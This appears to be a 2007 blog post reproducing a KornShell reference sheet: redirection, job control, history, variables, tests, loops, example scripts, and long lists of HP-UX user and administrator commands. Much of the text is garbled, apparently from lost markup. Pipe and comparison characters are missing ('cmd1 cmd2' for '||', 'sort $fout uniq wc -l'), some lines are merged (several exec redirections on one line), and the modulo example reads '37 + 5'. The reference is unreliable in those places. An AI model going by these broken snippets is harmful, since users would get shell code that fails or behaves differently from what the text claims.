2007年5月31日星期四

Unix KornShell memento
学习 Unix KornShell , ksh

Command Language
I/O redirection and pipe
% command running in foreground (interactive)
% command >file redirects stdout to file
% command 2>err_file redirects stderr to err_file
% command >file 2>&1 redirects both stdout and stderr on file
% (command > f1) 2>f2 send stdout on f1, stderr on f2
% command >>file appends stdout to file
% command > cc C compiler
> f77 Fortran compiler
> ar archive & library maintainer
> ld link editor
> dbx symbolic debugger
Examples :
> cc hello.c executable : a.out
> f77 hello.f idem
> cc main.c func1.c func2.c sevaral files
> cc hello.c -o hello redefine the executable name
> cc -c func1.c compilation only, then :
> cc main.c func1.o -o prog

Job control
> nohup command run a command immune to hangups, logouts,
and quits
> at, batch execute commands at a later time (see 'man at')
> jobs [-lp] [job_name] Display informations about jobs
> kill -l Display signal numbers ans names
> kill [-signal] job... Send a signal to the specified jobs
> wait [job...] Wait for the specified jobs to terminate
(or for all child processes if no argument)
> ps List executing processes

miscellaneous
> who [am i] lists names of users currently logged in
> rwho idem for all machines on the local network
> w idem + what they are doing
> whoami your userid
> groups names of the groups you belong to
> hostname name of the host currently connected
> finger names of users, locally or remotly logged in
> finger name information about this user
> finger name@cdfhp3
> mail electronic mail
> grep searching strings in files
> sleep sleep for a given amount of time (shell scripts)
> sort sort items in a file
> touch change the modification time of a file
> tar compress all files in a directory (and its
subdirectories) into one file
> type tells you where a command is located (or what it is an
alias for)
> find pathname -name "name" -print
seach recursively from pathename for "name". "name" can
contain wild chars.
> findw string
search recursively for filenames containing 'string'
> file fich tries to guess the type of 'fich' (wild chars allowed)
> passwd changing Pass Word
> sh -x command Debugging a shell script
> echo $SHELL Finding out which shell you are using
/.../sh Bourne shell
/.../csh C shell
/.../tcsh TC shell
/.../ksh Korn shell
/.../bash Bourne Again SHell
> df gives a list of available disk space
> du gives disk space used by the current directory and all
its subdirectories
> time command execute 'command' and then, gives the elapse time
> ruptime gives the status of all machines on the local network
> telnet host for remote login
> rlogin host idem for machines running UNIX
> stty set terminal I/O options
(without args or with -a, list current settings)
> tty, pty get the name of the terminal
> write user_name send a message (end by <> to a logged user
> msg y enable message reception
> msg n disable message recpt.
> mes status of mes. recept.
> wall idem write, but for all logged users.
> date display date and time on standard output
> ulimit set or display system ressource limits
> whence command find pathname corresponding to 'command'
> whence -v name gives the type of 'name' (built-in, alias, files ...)
> tee [-a] file reads standard input, writes to standard output and
file. Appends to 'file' if option -a
> wc file Counts lines, words and chars in 'file'

for other commands, looks in appendix or in directories such as :
/bin
/usr/bin
/usr/ucb
/usr/local/bin

History & Command line editing
> history
> history 166 168 # list commands 166 through 168
> history -r 166 168 # idem in reverse order
> history -2 # list previous 2 commands
> history set # list commands from most recent set command
> r # repeat last command
> r cc # repeat most recent command starting with cc
> r foo=bar cc # idem, changing 'foo' to 'bar'
> r 215 # repeat command 215
> r math.c=cond.c 214 # repeat command 214, but substitute cond.c
# for math.c

You can edit the command line with the 'vi' or 'emacs' editor :
Put the following line inside a KornShell login script :
FCEDIT=vi; export FCEDIT
$ set -o emacs
> fc [-e editor] [-nlr] [first [last]]
* display (-l) commands from history file
* Edit and re-execute previous commands (FCEDIT if no -e).
'last' and 'first' can be numbers or strings
$ fc # edit a copy of last command
$ fc 271 # edit, then re-execute command number 271
$ fc 270 272 # group command 270, 271 & 272, edit, re-execute


--------------------------------------------------------------------------------


Creating KORNshell scripts
The different shells
/bin/csh C shell (C like command syntax)
/bin/sh Bourne shell (the oldest one)
/bin/ksh Korn shell (variant of the previous one)
+ public domain (tcsh, bash, ...)

Special shell variables
There are some variables which are set internally by the shell and which are available to the user:
$1 - $9 these variables are the positional parameters.
$0 the name of the command currently being executed.
$argv[20] refers to the 20th command line argument
$# the number of positional arguments given to this
invocation of the shell.
$? the exit status of the last command executed is
given as a decimal string. When a command
completes successfully, it returns the exit status
of 0 (zero), otherwise it returns a non-zero exit
status.
$$ the process number of this shell - useful for
including in filenames, to make them unique.
$! the process id of the last command run in
the background.
$- the current options supplied to this invocation
of the shell.
$* a string containing all the arguments to the
shell, starting at $1.
$@ same as above, except when quoted :
"$*" expanded into ONE long element : "$1 $2 $3"
"$@" expanded into THREE elements : "$1" "$2" "$3"
shift : $2 -> $1 ...)

special characters
The special chars of the Korn shell are :
$ \ # ? [ ] * + & ( ) ; ` " '
- A pair of simple quotes '...' turns off the significance of ALL enclosed chars
- A pair of double quotes "..." : idem except for $ ` " \
- A '\' shuts off the special meaning of the char immediately to its right.
Thus, \$ is equivalent to '$'.
- In a script shell :
# : all text that follow it up the newline is a comment
\ : if it is the last char on a line, signals a continuation line
qui suit est la continuation de celle-ci

Evaluating shell variables
The following set of rules govern the evaluation of all shell variables.
$var signifies the value of var or nothing,
if var is undefined.
${var} same as above except the braces enclose
the name of the variable to be substituted.
+-------------------+---------------------------+-------------------+
Operation if str is unset or null else
+-------------------+---------------------------+-------------------+
var=${str:-expr} var= expr var= ${string}
var=${str:=expr} str= expr ; var= expr var= ${string}
var=${str:+expr} var becomes null var= expr
var=${str:?expr} expr is printed on stderr var= ${string}
+-------------------+---------------------------+-------------------+

The if statement
The if statement uses the exit status of the given command
if test
then
commands (if condition is true)
else
commands (if condition is false)
fi

if statements may be nested:
if ...
then ...
else if ...
...
fi
fi

Test on numbers :
((number1 == number2))
((number1 != number2))
((number1 number2))
((number1 > number2))
((number1 = number2))
((number1 >= number2))
Warning : 5 different possible syntaxes (not absolutely identical) :
if ((x == y))
if test $x -eq $y
if let "$x == $y"
if [ $x -eq $y ]
if [[ $x -eq $y ]]

Test on strings: (pattern may contain special chars)
[[string = pattern]]
[[string != pattern]]
[[string1 string2]]
[[string1 > string2]]
[[ -z string]] true if length is zero
[[ -n string]] true if length is not zero
Warning : 3 different possible syntaxes :
if [[ $str1 = $str2 ]]
if [ "$str1" = "$str2" ]
if test "$str1" = "$str2"

Test on objects : files, directories, links ...
examples :
[[ -f $myfile ]] # is $myfile a regular file?
[[ -x /usr/users/judyt ]] # is this file executable?
+---------------+---------------------------------------------------+
Test Returns true if object...
+---------------+---------------------------------------------------+
-a object exist; any type of object
-f object is a regular file or a symbolic link
-d object is a directory
-c object is a character special file
-b object is a block special file
-p object is a named pipe
-S object is a socket
-L object is a symbolic (soft) link with another object
-k object object's "sticky bit" is set
-s object object isn't empty
-r object I may read this object
-w object I may write to (modify) this object
-x object object is an executable file
or a directory I can search
-O object I ownn this object
-G object the group to which I belong owns object
-u object object's set-user-id bit is set
-g object object's set-group-id bit is set
obj1 -nt obj2 obj1 is newer than obj2
obj1 -ot obj2 obj1 is older than obj2
obj1 -ef obj2 obj1 is another name for obj2 (equivalent)
+---------------+---------------------------------------------------+

The logical operators
You can use the && operator to execute a command and, if it is successful, execute the next command in the list. For example:
cmd1 && cmd2

cmd1 is executed and its exit status examined. Only if cmd1 succeeds is cmd2 executed. You can use the operator to execute a command and, if it fails, execute the next command in the command list.
cmd1 cmd2

Of course, ll combinaisons of these 2 operators are possible. Example :
cmd1 cmd2 && cmd3

Math operators
First, don't forget that you have to enclose the entire mathematical operation within a DOUBLE pair of parentheses. A single pair has a completely different meaning to the Korn-Shell.

+-----------+-----------+-------------------------+
operator operation example
+-----------+-----------+-------------------------+
+ add. ((y = 7 + 10))
- sub. ((y = 7 - 10))
* mult. ((y = 7 * 4))
/ div. ((y = 37 / 5))
% modulo ((y = 37 + 5))
shift ((y = 2#1011 2))
>> shift ((y = 2#1011 >> 2))
& AND ((y = 2#1011 & 2#1100))
^ excl OR ((y = 2#1011 ^ 2#1100))
OR ((y = 2#1011 2#1100))
+-----------+-----------+-------------------------+


Controlling execution
goto my_label
......
my_label:
-----
case value in
pattern1) command1 ; ... ; commandN;;
pattern2) command1 ; ... ; commandN;;
........
patternN) command1 ; ... ; commandN;;
esac
where : value value of a variable
pattern any constant, pattern or group of pattern
command name of any program, shell script or ksh statement
example 1 :
case $advice in
[Yy][Ee][Ss]) print "A yes answer";;
[Mm]*) print "M followed by anything";;
+([0-9)) print "Any integer...";;
"oui" "bof") print "one or the other";;
*) print "Default";;
example 2 : Creating nice menus
PS3="Enter your choice :"
select menu_list in English francais
do
case $menu_list in
English) print "Thank you";;
francais) print "Merci";;
*) print "???"; break;;
esac
done
-----
while( logical expression)
do
....
done
while : # infinite loop
....
done
while read line # read until an EOF (or )
do
....
done fname # redirect input within this while loop
until( logical expression)
do
....
done fout # redirect both input and output
-----
for name in 1 2 3 4 # a list of elements
do
....
done
for obj in * # list of every object in the current directory
do
....
done
for obj in * */* # $PWD and the next level below it contain
do
....
done
-----
break; # to leave a loop (while, until, for)
continue; # to skip part of one loop iteration
# nested loops are allowed in ksh
----
select ident in Un Deux # a list of identifiers
do
case $ident in
Un) ....... ;;
Deux) ..... ;;
*) print " Defaut" ;;
esac
done

Debug mode
> ksh -x script_name
ou, dans un 'shell script' :
set -x # start debug mode
set +x # stop debug mode

Examples
Example 1 : loops, cases ...
#!/bin/ksh
USAGE="usage : fmr [dir_name]" # how to invoke this script
print "
+------------------------+
Start fmr shell script
+------------------------+
"
function fonc
{
echo "Loop over params, with shift function"
for i do
print "parameter $1" # print is equivalent to echo
shift
done # Beware that $# in now = 0 !!!
}
echo "Loop over all ($#) parameters : $*"
for i do
echo "parameter $i"
done
#----------------------
if (( $# > 0 )) # Is the first arg. a directory name ?
then
dir_name=$1
else
print -n "Directory name:"
read dir_name
fi
print "You specified the following directory; $dir_name"
if [[ ! -d $dir_name ]]
then
print "Sorry, but $dir_name isn't the name of a directory"
else
echo "-------- List of directory $dir_name -----------------"
ls -l $dir_name
echo "------------------------------------------------------"
fi
#----------------------
echo "switch on #params"
case $# in
0) echo "command with no parameter";;
1) echo "there is only one parameter : $1";;
2) echo "there are two parameters";;
[3,4]) echo "3 or 4 params";;
*) echo "more than 4 params";;
esac
#----------------------
fonc
echo "Parameters number (after function fonc) : $#"
#------- To read and execute a command
echo "==> Enter a name"
while read com
do
case $com in
tristram) echo "gerard";;
guglielmi) echo "laurent";;
dolbeau) echo "Jean";;
poutot) echo "Daniel ou Claude ?";;
lutz frenkiel) echo "Pierre";;
brunet) echo "You lost !!!"; exit ;;
*) echo "Unknown guy !!! ( $com )"; break ;;
esac
echo "==> another name, please"
done
#------ The test function :
echo "Enter a file name"
read name
if [ -r $name ]
then echo "This file is readable"
fi
if [ -w $name ]
then echo "This file is writable"
fi
if [ -x $name ]
then echo "This file is executable"
fi
#------
echo "--------------- Menu select ----------"
PS3="Enter your choice: "
select menu_list in English francais quit
do
case $menu_list in
English) print "Thank you";;
francais) print "Merci.";;
quit) break;;
*) print " ????";;
esac
done
print "So long!"

Example 2 : switches
#!/bin/ksh
USAGE="usage: gopt.ksh [+-d] [ +-q]" # + and - switches
while getopts :dq arguments # note the leading colon
do
case $arguments in
d) compile=on;; # don't precede d with a minus sign
+d) compile=off;;
q) verbose=on;;
+q) verbose=off;;
\?) print "$OPTARG is not a valid option"
print "$USAGE";;
esac
done
print "compile=$compile - verbose= $verbose"

Example 3
###############################################################
# This is a function named 'sqrt'
function sqrt # square the input argument
{
((s = $1 * $1 ))
}
# In fact, all KornShell variables are, by default, global
# (execpt when defined with typeset, integer or readonly)
# So, you don't have to use 'return $s'
###############################################################
# The shell script begins execution at the next line
print -n "Enter an integer : "
read an_integer
sqrt $an_integer
print "The square of $an_integer is $s"

Example 4
#!/bin/ksh
############ Using exec to do I/O on multiple files ############
USAGE="usage : ex4.ksh file1 file2"
if (($# != 2)) # this script needs 2 arguments
then
print "$USAGE"
exit 1
fi

############ Both arguments must be readable regular files
if [[ (-f $1) && (-f $2) && (-r $1) && (-r $2) ]]
then # use exec to open 4 files
exec 3 <$1 # open $1 for input exec 4 <$2 # open $2 for input exec 5> match # open file "match" for output
exec 6> nomatch # open file "nomatch" for output
else # if user enters bad arguments
print "$ USAGE"
exit 2
fi
while read -u3 lineA # read a line on descriptor 3
do
read -u4 lineB # read a line on descriptor 4
if [ "$lineA" = "$lineB" ]
then # send matching line to one file
print -u5 "$lineA"
else # send nonmatching lines to another
print -u6 "$lineA; $lineB"
fi
done

print "Done, today : $(date)" # $(date) : output of 'date' command
date_var=$(date) # or put it in a variable
print " I said $date_var" # and print it...

Example 5
############ String manipulation examples ##################
read str1?"Enter a string: "
print "\nYou said : $str1"
typeset -u str1 # Convert to uppercase
print "UPPERCASE: $str1"
typeset -l str1 # Convert to lowercase
print "lowercase: $str1"
typeset +l str1 # turn off lowercase attribute
read str2?"Enter another one: "
str="$str1 and $str2" #concatenate 2 strings
print "String concatenation : $str"
# use '#' to delete from left
# '##' to delete all
# '%' to delete all
# '%%' to delete from right
print "\nRemove the first 2 chars -- ${str#??}"
print "Remove up to (including) the first 'e' -- ${str#*e}"
print "Remove the first 2 words -- ${str#* * }"
print "\nRemove the last 2 chars -- ${str%??}"
print "Remove from last 'e' -- ${str%e*}"
print "Remove the last 2 tokens -- ${str% * *}"
print "length of the string= ${#str}"
########################
# Parsing strings into words :
typeset -l line # line will be stored in lowercase
read finp?"Pathname of the file to analyze: "
read fout?"Pathname of the file to store words: "
# Set IFS equal to newline, space, tab and common punctuation marks
IFS="
,. ;!?"
while read line # read one line of text
do # then Parse it :
if [[ "$line" != "" ]] # ignore blank lines
then
set $line # parse the line into words
print "$*" # print each word on a separate line
fi
done < $finp > $fout # define the input & output paths
sort $fout uniq wc -l # UNIX utilities


--------------------------------------------------------------------------------


List of Usual commands
adb absolute debugger
adjust simple text formatter
admin create and administer SCCS files
ar maintain portable archives and libraries
as assembler
asa interpret ASA carriage control characters
astrn translate assembly language
at, batch execute commands at a later time
atime time an assembly language instruction sequence
atrans translate assembly language
awk pattern - directed scanning and processing language
banner make posters in large letters
basename, dirname extract portions of path names
bc arbitrary - precision arithmetic language
bdftosnf BDF to SNF font compiler for X11
bdiff big diff
bfs big file scanner
bifchmod change mode of a BIF file
bifchown, bifchgrp change file owner or group
bifcp copy to or from BIF files
biffind find files in a BIF system
bifls list contents of BIF directories
bifmkdir make a BIF directory
bifrm, bifrmdir remove BIF files or directories
bitmap, bmtoa bitmap editor and converter utilities
bs a compiler/interpreter for modest - sized programs
cal print calendar
calendar reminder service
cat concatenate, copy, and print files
cb C program beautifier, formatter
cc, c89 C compiler
cd change working directory
cdb, fdb, pdb C, C++, FORTRAN, Pascal symbolic debugger
cdc change the delta commentary of an SCCS delta
cflow generate C flow graph
chacl add, modify, delete, copy, or summarize access con
chatr change program's internal attributes
checknr check nroff/troff files
chfn change finger entry
chmod change file mode
chown, chgrp change file owner or group
chsh change default login shell
ci check in RCS revisions
clear clear terminal screen
cmp compare two files
cnodes display information about specified cluster nodes
co check out RCS revisions
col filter reverse line - feeds and backspaces
comb combine SCCS deltas
comm select or reject lines common to two sorted files
compact, uncompact compact and uncompact files
cp copy files and directory subtrees
cpio copy file archives in and out
cpp the C language preprocessor
crontab user crontab file
crypt encode/decode files
csh a shell (command interpreter) with C - like syntax
csplit context split
ct spawn getty to a remote terminal (call terminal)
ctags create a tags file
cu call another (UNIX) system; terminal emulator
cut cut out (extract) selected fields of each line of a
cxref generate C program cross - reference
date print or set the date and time
datebook calendar and reminder program for X11
dbmonth datebook monthly calendar formatter for postscript
dbweek datebook weekly calendar formatter for postscript
dc desk calculator
dd convert, reblock, translate, and copy a (tape) file
delta make a delta (change) to an SCCS file
deroff remove nroff, tbl, and neqn constructs
diff differential file and directory comparator
diff3 3 - way differential file comparison
diffmk mark differences between files
dircmp directory comparison
domainname set or display name of Network Information Ser -
dos2ux, ux2dos convert ASCII file format
doschmod change attributes of a DOS file
doscp copy to or from DOS files
dosdf report number of free disk clusters
dosls, dosll list contents of DOS directories
dosmkdir make a DOS directory
dosrm, dosrmdir remove DOS files or directories
du summarize disk usage
echo echo (print) arguments
ed, red text editor
elm process mail through screen - oriented interface
elmalias create and verify elm user and system aliases
enable, disable enable/disable LP printers
env set environment for command execution
et Datebook weekly calendar formatter for laserjet
ex, edit extended line - oriented text editor
expand, unexpand expand tabs to spaces, and vice versa
expr evaluate arguments as an expression
expreserve preserve editor buffer
factor, primes factor a number, generate large primes
file determine file type
find find files
findmsg, dumpmsg create message catalog file for modification
findstr find strings for inclusion in message catalogs
finger user information lookup program
fixman fix manual pages for faster viewing with
fold fold long lines for finite width output device
forder convert file data order
from who is my mail from?
ftio faster tape I/O
ftp file transfer program
gencat generate a formatted message catalog file
get get a version of an SCCS file
getaccess list access rights to
getconf get system configuration values
getcontext display current context
getopt parse command options
getprivgrp get special attributes for group
gprof display call graph profile data
grep, egrep, fgrep search a file for a pattern
groups show group memberships
gwindstop terminate the window helper facility
help ask for help
hostname set or print name of current host system
hp handle special functions of HP2640 and HP2621 - series
hpterm X window system Hewlett - Packard terminal emulator.
hyphen find hyphenated words
iconv code set conversion
id print user and group IDs and names
ident identify files in RCS
ied input editor and command history for interactive progs
imageview display TIFF file images on an X11 display
intro introduction to command utilities and application
iostat report I/O statistics
ipcrm remove a message queue, semaphore set or shared
ipcs report inter - process communication facilities status
join relational database operator
kermit kermit file transfer
keysh context - sensitive softkey shell
kill terminate a process
ksh, rksh shell, the standard/restricted command program
lastcomm show last commands executed in reverse order
ld link editor
leave remind you when you have to leave
lex generate programs for lexical analysis of text
lifcp copy to or from LIF files
lifinit write LIF volume header on file
lifls list contents of a LIF directory
lifrename rename LIF files
lifrm remove a LIF file
line read one line from user input
lint a C program checker/verifier
ln link files and directories
lock reserve a terminal
logger make entries in the system log
login sign on
logname get login name
lorder find ordering relation for an object library
lp, cancel, lpalt send/cancel/alter requests to an LP line
lpstat print LP status information
ls, l, ll, lsf, lsr, lsxlist contents of directories
lsacl list access control lists (ACLs) of files
m4 macro processor
mail, rmail send mail to users or read mail
mailfrom summarize mail folders by subject and sender
mailstats print mail traffic statistics
mailx interactive message processing system
make maintain, update, and regenerate groups of programs
makekey generate encryption key
man find manual information by keywords; print out a
mediainit initialize disk or cartridge tape media
merge three - way file merge
mesg permit or deny messages to terminal
mkdir make a directory
mkfifo make FIFO (named pipe) special files
mkfontdir create fonts.dir file from directory of font
mkmf make a makefile
mkstr extract error messages from C source into a file
mktemp make a name for a temporary file
mm, osdd print documents formatted with the mm macros
more, page file perusal filter for crt viewing
mt magnetic tape manipulating program
mv move or rename files and directories
mwm The Motif Window Manager.
neqn format mathematical text for nroff
netstat show network status
newform change or reformat a text file
newgrp log in to a new group
newmail notify users of new mail in mailboxes
news print news items
nice run a command at low priority
nl line numbering filter
nljust justify lines, left or right, for printing
nlsinfo display native language support information
nm print name list of common object file
nm print name list of common object file.
nm print name list of object file
nodename assign a network node name or determine current
nohup run a command immune to hangups, logouts, and quits
nroff format text
nslookup query name servers interactively
od, xd octal and hexadecimal dump
on execute command on remote host with environment similar
pack, pcat, unpack compress and expand files
pam Personal Applications Manager, a visual shell
passwd change login password
paste merge same lines of several files or subsequent
pathalias electronic address router
pax portable archive exchange
pcltrans translate a Starbase bitmap file into PCL raster
pg file perusal filter for soft - copy terminals
ppl point-to - point serial networking
pplstat give status of each invocation of
pr print files
praliases print system - wide sendmail aliases
prealloc preallocate disk storage
printenv print out the environment
printf format and print arguments
prmail print out mail in the incoming mailbox file
prof display profile data
protogen ANSI C function prototype generator
prs print and summarize an SCCS file
ps, cps report process status
ptx permuted index
pwd working directory name
pwget, grget get password and group information
quota display disk usage and limits
rcp remote file copy
rcs change RCS file attributes
rcsdiff compareRCS revisions
rcsmerge merge RCS revisions
readmail read mail from specified mailbox
remsh execute from a remote shell
resize reset shell parameters to reflect the current size
rev reverse lines of a file
rgb X Window System color database creator.
rlog print log messages and other information on RCS files
rlogin remote login
rm remove files or directories
rmdel remove a delta from an SCCS file
rmdir remove directories
rmnl remove extra new - line characters from file
rpcgen an RPC protocol compiler
rtprio execute process with real - time priority
rup show host status of local machines (RPC version)
ruptime show status of local machines
rusers determine who is logged in on machines on local
rwho show who is logged in on local machines
sact print current SCCS file editing activity
sar system activity reporter
sb2xwd translate Starbase bitmap to xwd bitmap format
sbvtrans translate a Starbase HPSBV archive to Personal
sccsdiff compare two versions of an SCCS file
screenpr capture the screen raster information and
script make typescript of terminal session
sdfchmod change mode of an SDF file
sdfchown, sdfchgrp change owner or group of an SDF file
sdfcp, sdfln, sdfmv copy, link, or move files to/from an
sdffind find files in an SDF system
sdfls, sdfll list contents of SDF directories
sdfmkdir make an SDF directory
sdfrm, sdfrmdir remove SDF files or directories
sdiff side-by - side difference program
sed stream text editor
sh shell partially based on preliminary POSIX draft
sh, rsh shell, the standard/restricted command programming
shar make a shell archive package
shl shell layer manager
showcdf show the actual path name matched for a CDF
size print section sizes of object files
sleep suspend execution for an interval
slp set printing options for a non - serial printer
soelim eliminate .so's from nroff input
softbench SoftBench Software Development Environment
sort sort and/or merge files
spell, hashmake spelling errors
split split a file into pieces
ssp remove multiple line - feeds from output
stconv Utility to convert scalable type symbol set map
stlicense server access control program for X
stload Utility to load Scalable Type outlines
stmkdirs Utility to build Scalable Type ``.dir'' and
stmkfont Scalable Typeface font compiler to create X and
strings find the printable strings in an object or other
strip strip symbol and line number information from an
stty set the options for a terminal port
su become super - user or another user
sum print checksum and block or byte count of
tabs set tabs on a terminal
tar tape file archiver
tbl format tables for nroff
tcio Command Set 80 CS/80 Cartridge Tape Utility
tee pipe fitting
telnet user interface to the TELNET protocol
test condition evaluation command
tftp trivial file transfer program
time time a command
timex time a command; report process data and system
touch update access, modification, and/or change times of
tput query terminfo database
tr translate characters
true, false return zero or one exit status respectively
tset, reset terminal - dependent initialization
tsort topological sort
ttytype terminal identification program
ul do underlining
umask set file - creation mode mask
umodem XMODEM - protocol file transfer program
uname print name of current HP - UX version
unget undo a previous get of an SCCS file
unifdef remove preprocessor lines
uniq report repeated lines in a file
units conversion program
uptime show how long system has been up
users compact list of users who are on the system
uucp, uulog, uuname UNIX system to UNIX system copy
uuencode, uudecode encode/decode a binary file for
uupath, mkuupath access and manage the pathalias database
uustat uucp status inquiry and job control
uuto, uupick public UNIX system to UNIX system file copy
uux UNIX system to UNIX system command execution
vacation return ``I am not here'' indication
val validate SCCS file
vc version control
vi screen - oriented (visual) display editor
vis, inv make unprintable characters in a file visible or
vmstat report virtual memory statistics
vt log in on another system over lan
wait await completion of process
wc word, line, and character count
what get SCCS identification information
which locate a program file including aliases and paths
who who is on the system
whoami print effective current user id
write interactively write (talk) to another user
x11start start the X11 window system
xargs construct argument
xcal display calendar in an X11 window
xclock analog / digital clock for X
xdb C, FORTRAN, Pascal, and C++ Symbolic Debugger
xdialog display a message in an X11 Motif dialog window
xfd font displayer for X
xhost server access control program for X
xhpcalc Hewlett - Packard type calculator emulator
xinit X Window System initializer
xinitcolormap initialize the X colormap
xline an X11 based real - time system resource observation
xload load average display for X
xlsfonts server font list displayer for X
xmodmap utility for modifying keymaps in X
xpr print an X window dump
xrdb X server resource database utility
xrefresh refresh all or part of an X screen
xseethru opens a transparent window into the image planes
xset user preference utility for X
xsetroot root window parameter setting utility for X
xstr extract strings from C programs to implement shared
xtbdftosnf BDF to SNF font compiler (HP 700/RX)
xterm terminal emulator for X
xthost server access control program for X
xtmkfontdir create a fonts.dir file for a directory of
xtshowsnf print contents of an SNF file (HP 700/RX)
xtsnftosnf convert SNF file from one format to another (HP
xwcreate create a new X window
xwd dump an image of an X window
xwd2sb translate xwd bitmap to Starbase bitmap format
xwdestroy destroy one or more existing windows
xwininfo window information utility for X
xwud image displayer for X
yacc yet another compiler - compiler
yes be repetitively affirmative
ypcat print all values in Network Information Service map
ypmatch print values of selected keys in Network Information
yppasswd change login password in Network Information System
ypwhich list which host is Network Information System


--------------------------------------------------------------------------------


List of Administrator commands
accept, reject allow/prevent LP requests
acctcms command summary from per - process accounting
acctcom search and print process accounting
acctcon1, acctcon2 time accounting
acctdisk, acctdusg overview of account
acctmerg merge or add total accounting files
acctprc1, acctprc2 process accounting
arp address resolution display and control
audevent change or display event or system call audit
audisp display the audit information as requested by the
audomon audit overflow monitor daemon
audsys start or halt the auditing system and set or
audusr select users to audit
automount automatically mount NFS file systems
backup backup or archive file system
bdf report number of free disk blocks (Berkeley version)
bifdf report number of free disk blocks
biffsck Bell file system consistency check and interactive
biffsdb Bell file system debugger
bifmkfs construct a Bell file system
boot bootstrap process
bootpd Internet Boot Protocol server
bootpquery send BOOTREQUEST to BOOTP server
brc, bcheckrc, rc system initializa
buildlang generate and display locale.def file
captoinfo convert a termcap description into a terminfo
catman create the cat files for the manual
ccck HP Cluster configuration file checker
chroot change root directory for a command
clri clear inode
clrsvc clear x25 switched virtual circuit
cluster allocate resources for clustered operation
config configure an HP - UX system
convertfs convert a file system to allow long file names
cpset install object files in binary directories
cron clock daemon
csp create cluster server processes
devnm device name
df report number of free disk blocks
diskinfo describe characteristics of a disk device
disksecn calculate default disk section sizes
diskusg generate disk accounting data by user ID
dmesg collect system diagnostic messages to form error log
drm admin Data Replication Manager administrative tool
dump, rdump incremental file system dump, local or across
dumpfs dump file system information
edquota edit user disk quotas
eisa config EISA configuration tool
envd system physical environment daemon
fbackup selectively backup files
fingerd remote user information server
frecover selectively recover files
freeze freeze sendmail configuration file on a cluster
fsck file system consistency check and interactive repair
fsclean determine shutdown status of specified file system
fsdb file system debugger
fsirand install random inode generation numbers
ftpd DARPA Internet File Transfer Protocol server
fuser, cfuser list process IDs of all processes that have
fwtmp, wtmpfix manipulate connect accounting records
gated gateway routing daemon
getty set terminal type, modes, speed, and line discip.
getx25 get x25 line
glbd Global Location Broker Daemon
grmd graphics resource manager daemon
gwind graphics window daemon
hosts to named Translate host table to name server file
ifconfig configure network interface parameters
inetd Internet services daemon
init, telinit process control initialization
insf install special files
install install commands
instl adm maintain network install message and default
intro introduction to system maintenance commands and
ioinit initialize I/O system
ioscan scan I/O system
isl initial system loader
killall kill all active processes
lanconfig configure network interface parameters
lanscan display LAN device configuration and status
last, lastb indicate last logins of users and ttys
lb admin Location Broker administrative tool
lb test test the Location Broker
link, unlink exercise link and unlink system calls
llbd Local Location Broker daemon
lockd network lock daemon
lpadmin configure the LP spooling system
lpana print LP spooler performance analysis information
lpsched, lpshut start/stop the LP request
ls admin Display and edit the license server database
ls rpt Report on license server events
ls stat Display the status of the license server system
ls targetid Prints information about the local NetLS tar
ls tv Verify that Network License Servers are working
lsdev list device drivers in the system
lssf list a special file
makecdf create context - dependent files
makedbm make a Network Information System database
mkboot, rmboot install, update, or remove boot programs
mkdev make device files
mkfs construct a file system
mklost+found make a lost+found directory
mklp configure the LP spooler subsystem
mknod create special files
mkpdf create a Product Description File from a prototype
mkrs construct a recovery system
mksf make a special file
mount, umount mount and unmount file system
mountd NFS mount request server
mvdir move a directory
named Internet domain name server
ncheck generate path names from inode numbers
netdistd network file distribution (update) server daemon
netfmt format tracing and logging binary files.
netlsd Starts the license server
nettl control network tracing and logging
nettlconf configure network tracing and logging command
nettlgen generate network tracing and logging commands
newfs construct a new file system
nfsd, biod NFS daemons
nfsstat Network File System statistics
nrglbd Non - Replicatable Global Location Broker daemon
opx25 execute HALGOL programs
pcnfsd PC - NFS daemon
pcserver Basic Serial and HP AdvanceLink server
pdc processor - dependent code (firmware)
pdfck compare Product Description File to File System
pdfdiff compare two Product Description Files
perf test the NCS RPC runtime library
ping send ICMP ECHO REQUEST packets to network hosts
portmap DARPA port to RPC program number mapper
proxy manipulates the NS Probe proxy table
pwck, grpck password/group file checkers
quot summarize file system ownership
quotacheck file system quota consistency checker
quotaon, quotaoff turn file system quotas on and off
rbootd remote boot server
rcancel remove requests from a remote line printer spool
reboot reboot the system
recoversl check and recover damaged or missing shared
regen regenerate (uxgen) an updated HP - UX system
remshd remote shell server
repquota summarize quotas for a file system
restore, rrestore restore file system incrementally, local
revck check internal revision numbers of HP - UX files
rexd RPC - based remote execution server
rexecd remote execution server
ripquery query RIP gateways
rlb remote loopback diagnostic
rlbdaemon remote loopback diagnostic server
rlogind remote login server
rlp send LP line printer request to a remote system
rlpdaemon remote spooling line printer daemon, message
rlpstat print status of LP spooler requests on a remote
rmfn remove HP - UX functionality (partitions and filesets)
rmsf remove a special file
rmt remote magnetic - tape protocol module
route manually manipulate the routing tables
rpcinfo report RPC information
rquotad remote quota server
rstatd kernel statistics server
runacct run daily accounting
rusersd network username server
rwall write to all users over a network
rwalld network rwall server
rwhod system status server
sa1, sa2, sadc system activity report package
sam system administration manager
savecore save a core dump of the operating system
sdfdf report number of free SDF disk blocks
sdffsck SDF file system consistency check, interactive
sdffsdb examine/modify an SDF file system
sdsadmin create and administer Software Disk Striping
sendmail send mail over the internet
setmnt establish mount table /etc/mnttab
setprivgrp set special attributes for group
showmount show all remote mounts
shutdown terminate all processing
sig named send signals to the domain name server
snmpd daemon that responds to SNMP requests
spray spray packets
sprayd spray server
statd network status monitor
stcode translate hexadecimal status code value to textual
subnetconfig configure subnet behavior
swapinfo system swap space information
swapon enable additional device or file system for paging
sync synchronize file systems
syncer periodically sync for file system integrity
sysdiag online diagnostic system interface
syslogd log systems messages
sysrm remove optional HP - UX products (filesets)
telnetd TELNET protocol server
tftpd trivial file transfer protocol server
tic terminfo compiler
tunefs tune up an existing file system
untic terminfo de - compiler
update, updist update or install HP - UX files (software
uucheck check the uucp directories and permissions file
uucico transfer files for the uucp system
uuclean uucp spool directory clean - up
uucleanup uucp spool directory clean - up
uugetty set terminal type, modes, speed and line discip.
uuid gen UUID generating program
uuls list spooled uucp transactions grouped by transaction
uusched schedule uucp transport files
uusnap show snapshot of the UUCP system
uusnaps sort and embellish uusnap output
uusub monitor uucp network
uuxqt execute remote uucp or uux command requests
uxgen generate an HP - UX system
vhe altlog login when Virtual Home Environment (VHE) home
vhe mounter start the Virtual Home Environment (VHE)
vhe u mnt perform Network File System (NFS) mount to
vipw edit the password file
vtdaemon respond to vt requests
wall, cwall write to all users
whodo which users are doing what
xdm X Display Manager
